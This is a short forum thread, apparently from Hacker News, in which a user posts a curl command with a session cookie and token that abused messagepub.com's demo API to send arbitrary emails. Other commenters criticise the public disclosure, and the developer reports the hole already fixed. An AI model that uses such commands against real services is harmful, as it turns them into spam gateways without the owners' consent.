3 ms·
With a bit of curl hacking I managed to abuse their demo API to send arbitrary messages. Just try this : curl -v -d "channel=email&address=EMAIL_HERE&commit=
by ovi256 18y ago
With a bit of curl hacking I managed to abuse their demo API to send arbitrary messages.
Just try this :
curl -v -d "channel=email&address=EMAIL_HERE&commit=Submit&message=messagepub%20sucks%20I%20JustHackedTheirDemoAPItoSendArbitraryMessagesUsingCURLlolSpam&authenticity_token=1f52274baf9904dd33b012c1a4c1548afd197438" -b _trunk_session=BAh7BzoMY3NyZl9pZCIlM2JmZDg3ZDhlYTZjN2U3MzFkNmMyMWMyNGYxYmQ4YTQiCmZsYXNoSUM6J0FjdGlvbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7AAY6CkB1c2VkewA%3D--2e9b47678c68095440f03ce3b7558712b4fba37a http://messagepub.com/demo/create http://messagepub.com/demo/create
You'll have to grab the cookie and authenticity_token from a preceding GET request, as the cookie seems to change from time to time. The authenticity token does not change among successive posts.
Hello spam!
Guys, please fix your security.
- ovi256 18y agoThe fix is easy, just add an integer value to the message select, and server-side, use it to select canned messages from a dictionary. This will not stop abuse of your canned messages, but at least messagepost's demo page will not become a spam gateway.
- _pius 18y agoWow, that's so l33t! Though if you really want to brag effectively about finding an exploit here, you should probably just shoot an e-mail to the developers first and then, if you feel the need, mention publicly that you found something. That way you look more like a white hat and less like a script kiddie or a troll.
- ovi256 18y agoI did send an email afterwards - forgot at first - hey, I'm new at this. Ok, it was a 5 min exploit, but I still lolled for most of the evening.
- luccastera 18y agoFYI. This is no longer an issue. It was fixed even before ovi256 posted this comment which is why in the original post, he mentioned that the server was down. That's because his IP address had been blocked and a fix was deployed. He later edited the comment to remove the part where he said that the site was down... I got your email, too bad you decided to go this route rather than emailing me about it first. It's all good though. No hard feelings.
- ovi256 18y agoGlad you fixed it so fast and sorry about being an asshole earlier. It's a bit of social engineering : it gets things going - if you hate me and/or the disclosure you are more likely to fix the hole. Stupid, I know, but it works. I confirm that in my initial post, I wrongly assumed the demo page was down. Downforeverythingorjustme.com confirmed afterwards that my IP was blocked - luccastera moved incredibly fast! And right now, the canned messages seem to be whitelisted, which fixed the problem for good.